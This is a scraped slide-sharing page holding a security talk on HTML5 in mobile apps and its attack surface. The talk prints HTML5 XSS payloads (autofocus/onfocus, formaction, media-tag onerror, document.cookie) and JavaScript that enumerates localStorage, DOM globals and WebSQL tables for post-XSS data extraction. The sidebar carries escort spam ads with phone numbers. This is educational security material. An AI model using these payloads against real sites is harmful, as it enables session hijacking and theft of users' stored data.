HTTP protocol and Streams SecurityHTTP protocol and Streams Security
HTTP protocol and Streams Security
 
Advanced applications-architecture-threats
Advanced applications-architecture-threatsAdvanced applications-architecture-threats
Advanced applications-architecture-threats
 

Recently uploaded

(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...gurkirankumar98700
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024StefanoLambiase
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantAxelRicardoTrocheRiq
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - InfographicHr365.us smith
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...stazi3110
 
software engineering Chapter 5 System modeling.pptx
software engineering Chapter 5 System modeling.pptxsoftware engineering Chapter 5 System modeling.pptx
software engineering Chapter 5 System modeling.pptxnada99848
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...Christina Lin
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureDinusha Kumarasiri
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEEVICTOR MAESTRE RAMIREZ
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataBradBedford3
 

Recently uploaded (20)

(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
(Genuine) Escort Service Lucknow | Starting ₹,5K To @25k with A/C 🧑🏽‍❤️‍🧑🏻 89...
 
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
Dealing with Cultural Dispersion — Stefano Lambiase — ICSE-SEIS 2024
 
Salesforce Certified Field Service Consultant
Salesforce Certified Field Service ConsultantSalesforce Certified Field Service Consultant
Salesforce Certified Field Service Consultant
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort ServiceHot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
Hot Sexy call girls in Patel Nagar🔝 9953056974 🔝 escort Service
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 
Asset Management Software - Infographic
Asset Management Software - InfographicAsset Management Software - Infographic
Asset Management Software - Infographic
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdf
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
software engineering Chapter 5 System modeling.pptx
software engineering Chapter 5 System modeling.pptxsoftware engineering Chapter 5 System modeling.pptx
software engineering Chapter 5 System modeling.pptx
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with Azure
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer DataAdobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
Adobe Marketo Engage Deep Dives: Using Webhooks to Transfer Data
 

Html5 on mobile

  • 2. © Blueinfy Solutions What is HTML5 • Enhancement to HTML 4.01 – with more tags – API Support – Functionality to support mobile devices – More types for existing tags • Does not mean old tags will not work • Existing application can be converted by changing “<!DOCTYPE html>” in first line
  • 3. © Blueinfy Solutions HTML5 in Mobile • It is changing the game • Apps are migrating to HTML5 and no need to use native • Web vs. Mobile – Both can use HTML5 – No need to manage several code base – HTML+CSS+JS only – Server side services
  • 5. © Blueinfy Solutions What is running - where??? Presentation Layer Business Layer Data Access Layer Authentication Communication etc. Runtime, Platform, Operating System Components Server side Components Client side Components (Browser) • HTML 5 • DOM • XHR • WebSocket • Storage • WebSQL • Flash • Flex • AMF • Silverlight • WCF • XAML • NET • Storage • JS • Android • iPhone/Pad • Other Mobile
  • 6. © Blueinfy Solutions HTML5 in nutshell - Specs 6 Source: http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by-Sergey-Mavrody.png Source: http://html5demos.com/ Evolution going on by Web Hypertext Application Technology Working Group (WHATWG)
  • 7. © Blueinfy Solutions Key HTML5 features for Mobile • Offline web application support • Web Storage • GeoLocation API • Canvas 2D Drawing • Video and Audio streaming support 7
  • 8. © Blueinfy Solutions HTML5 features not supported on Mobile • Microdata • 3D animation • FileReader API • IndexDB • WebWorkers 8
  • 9. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In Modern Browser Model HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS/Content-Sec Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache FileSystem
  • 10. © Blueinfy Solutions Abusing HTML 5 Tags • Various new tags and can be abused, may not be filtered or validated • Media tags <video poster=javascript:alert(document.cookie)// <audio><source onerror="javascript:alert(document.cookie)"> • Form tags <form><button formaction="javascript:alert(document.cookie)">foo <body oninput=alert(document.cookie)><input autofocus> 10
  • 14. © Blueinfy Solutions Profile • Fetch through storage – cookie not needed…
  • 15. © Blueinfy Solutions WebSQL data • Through JavaScript one can store information on database. • Example 15
  • 17. © Blueinfy Solutions Network calls • HTML 5 provides WebSocket and XHR Level 2 calls • It allows to make cross domains call and raw socket capabilities • It can be leveraged by JavaScript payload • Malware or worm can use it to perform several scanning tasks 17
  • 18. © Blueinfy Solutions Same Origin Policy (SOP) • Browser’s sandbox – Protocol, Host and Port should match – It is possible to set document.domain to parent domain if current context is child domain – Top level domain (TLD) locking down helps in sandboxing the context 18
  • 21. © Blueinfy Solutions Hybrid App • Android
  • 22. © Blueinfy Solutions Integrating native to webview • Hook your handlers to make it hybrid • Interact with webview
  • 23. © Blueinfy Solutions Set permissions • Manifest file
  • 25. © Blueinfy Solutions Slidebar type touch views
  • 27. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In XSS with HTML5 (tags, attributes and events) HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
  • 28. © Blueinfy Solutions HTML5 – Tags/Attributes/Events • Tags – media (audio/video), canvas (getImageData), menu, embed, buttons/commands, Form control (keys) • Attributes – form, submit, autofocus, sandbox, manifest, rel etc. • Events/Objects – Navigation (_self), Editable content, Drag-Drop APIs, pushState (History) etc. 28
  • 29. © Blueinfy Solutions XSS variants • Media tags • Examples – <video><source onerror="javascript:alert(1)“> – <video onerror="javascript:alert(1)"><source> 29
  • 30. © Blueinfy Solutions XSS variants • Exploiting autofocus – <input autofocus onfocus=alert(1)> – <select autofocus onfocus=alert(1)> – <textarea autofocus onfocus=alert(1)> – <keygen autofocus onfocus=alert(1)> 30
  • 31. © Blueinfy Solutions XSS variants • Form & Button etc. – <form id="test" /><button form="test" formaction="javascript:alert(1)">test – <form><button formaction="javascript:alert(1)">test • Etc … and more … – Nice HTML5 XSS cheat sheet (http://html5sec.org/) 31
  • 32. © Blueinfy Solutions • Once have an entry point – game over! Extraction through XSS
  • 33. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In Web Storage and DOM information extraction HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
  • 34. © Blueinfy Solutions Web Storage Extraction • Browser has one place to store data – Cookie (limited and replayed) • HTML5 – Storage API provided (Local and Session) • Can hold global scoped variables • http://www.w3.org/TR/webstorage/ 34
  • 35. © Blueinfy Solutions Web Storage Extraction • It is possible to steal them through XSS or via JavaScript • Session hijacking – HttpOnly of no use • getItem and setItem calls • XSS the box and scan through storage
  • 36. © Blueinfy Solutions Blind storage enumeration if(localStorage.length){ console.log(localStorage.length) for(i in localStorage){ console.log(i) console.log(localStorage.getItem(i)); } } • Above code allows all storage variable extraction 36
  • 37. © Blueinfy Solutions • HTML5 provides virtual file system with filesystem APIs – window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem; • It becomes a full blown local system for application in sandbox • It empowers application File System Storage
  • 38. © Blueinfy Solutions • It provides temporary or permanent file system function init() { window.requestFileSystem(window.TEMPORARY, 1024*1024, function(filesystem) { filesys = filesystem; }, catcherror); } • App can have full filesystem in place now. File System Storage
  • 39. © Blueinfy Solutions • Assuming app is creating profile on local system Sensitive information filesystem
  • 40. © Blueinfy Solutions DOM Storage • Applications run with “rich” DOM • JavaScript sets several variables and parameters while loading – GLOBALS • It has sensitive information and what if they are GLOBAL and remains during the life of application • It can be retrieved with XSS • HTTP request and response are going through JavaScripts (XHR) – what about those vars?
  • 41. © Blueinfy Solutions Blind Enumeration for(i in window){ obj=window[i]; try{ if(typeof(obj)=="string"){ console.log(i); console.log(obj.toString()); } }catch(ex){} } 41
  • 42. © Blueinfy Solutions Global Sensitive Information Extraction from DOM • HTML5 apps running on Single DOM • Having several key global variables, objects and array – var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjf dvint","test.com"]; • Post DOM based exploitation possible and harvesting all these values. 42
  • 43. © Blueinfy Solutions Global Sensitive Information Extraction from DOM for(i in window){ obj=window[i]; if(obj!=null||obj!=undefined) var type = typeof(obj); if(type=="object"||type=="string") { console.log("Name:"+i) try{ my=JSON.stringify(obj); console.log(my) }catch(ex){} } } 43
  • 44. © Blueinfy Solutions SQL Injection • WebSQL is part of HTML 5 specification, it provides SQL database to the browser itself. • Allows one time data loading and offline browsing capabilities. • Causes security concern and potential injection points. • Methods and calls are possible
  • 45. © Blueinfy Solutions SQL Injection • Through JavaScript one can harvest entire local database. • Example
  • 46. © Blueinfy Solutions Blind WebSQL Enumeration • We need following to exploit – Database object – Table structure created on SQLite – User table on which we need to run select query 46
  • 47. © Blueinfy Solutions Blind WebSQL Enumeration var dbo; var table; var usertable; for(i in window){ obj = window[i]; try{ if(obj.constructor.name=="Database"){ dbo = obj; obj.transaction(function(tx){ tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'', [],function(tx,results){ table=results; },null); }); } }catch(ex){} } if(table.rows.length>1) usertable=table.rows.item(1).name; 47
  • 48. © Blueinfy Solutions Blind WebSQL Enumeration • We will run through all objects and get object where constructor is “Database” • We will make Select query directly to sqlite_master database • We will grab 1st table leaving webkit table on 0th entry 48
  • 49. © Blueinfy Solutions Blind WebSQL Enumeration 49